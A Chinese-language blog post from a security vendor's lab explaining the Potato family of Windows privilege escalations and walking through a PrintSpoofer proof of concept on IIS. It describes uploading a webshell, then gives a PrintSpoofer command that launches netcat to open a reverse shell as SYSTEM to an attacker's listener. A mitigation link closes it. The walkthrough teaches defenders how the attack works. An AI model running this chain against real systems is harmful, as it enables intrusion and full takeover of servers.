NEITHNET 情資分享
NEITHNET 資安實驗室
這次想介紹一下PrintSpoofer
是Potato家族相關系列衍伸出來的提權工具。
所謂的Hot Potato 相關的漏洞,在2016年時候,研究員Stephen Breen 發表的exploit code https://github.com/foxglovesec/Potato。
後續就算微軟修補後,也還是有新的potato產出。
下面是Potato家族相關的POC code年表:
除了以上列出的還有很多族繁不及備載。
potato 漏洞利用家族的主要是透過將 NTLM 驗證從某個 NT AUTHORITY\SYSTEM的process中繼到本地身份驗證AcceptSecurityContext(),從服務帳戶使用者(擁有 SeImpersonatePrivilege 或是 SeAssignPrimaryTokenPrivilege)取得高權限的存取權token。
這次我們來分享一下PrintSpoofer,之前相關的像是JuicyPotato因為隨著windows的修補後,較新的windows版本就不能使用了,也是因為這些原因才會後續又產生出這麼多的變異Potato。
使用方式其實不難,重點如上述所說,拿到有SeImpersonatePrivilege 或是SeAssignPrimaryTokenPrivilege的帳號,就可以利用工具拿到system權限。
下面POC過程、工具都是網路上就搜尋的到的工具,來簡單的示範一下是如何拿到system權限。
PrintSpoofer POC
首先我們要先找到一台有裝IIS,且具有上傳功能的頁面,並且上傳從網路上撿來的webshell。
上傳成功之後連到webshell的位置,可以先看一下現在的帳號。
以及確認所擁有的權限。
可以確認有SeImpersonatePrivilege 且狀態是啟用中,接著來把要使用的PrintSpoofer.exe上傳上去。
當你下-h指令 可以看到PrintSpoofer 有以下指令可以使用以及範例,其他更詳述的可以參考提供者的Github。
在提權之前,因為我們需要先建立可以接收連回來的shell
參考PrintSpoofer作者的Github POC使用情境可以使用第二種
現在我們自己的機器上開啟一個nc的監聽模式,並且指定一個port。
接著我們可以再次利用具有上傳功能的那一頁再把nc的檔案上傳上去
輸入指令 C:\[path]\PrintSpoofer.exe -c “C:\[path]\nc.exe IP 5566 -e cmd.exe” 再送出就可以了
接著,就能在這台機器上看到跳出shell
再來,下whoami指令確認,就能看到確認為是system的使用者了。
會造成上述形況是因為,SeImpersonatePrivilege 權限會預設包含IIS_IUSRS群組,如果想要來限制這部分權限的需求,可以參考這個網址:https://decoder.cloud/2020/12/14/hands-off-my-iis-accounts/
相關參考資料:
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges
https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all
https://github.com/bodik/awesome-potatoes
https://micahvandeusen.com/the-power-of-seimpersonation
使用到的檔案來源:
https://github.com/itm4n/PrintSpoofer
https://github.com/Ignitetechnologies
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx
更多資安訊息及防護策略,歡迎與NEITHNET資安專家聯繫:info@neithnet.com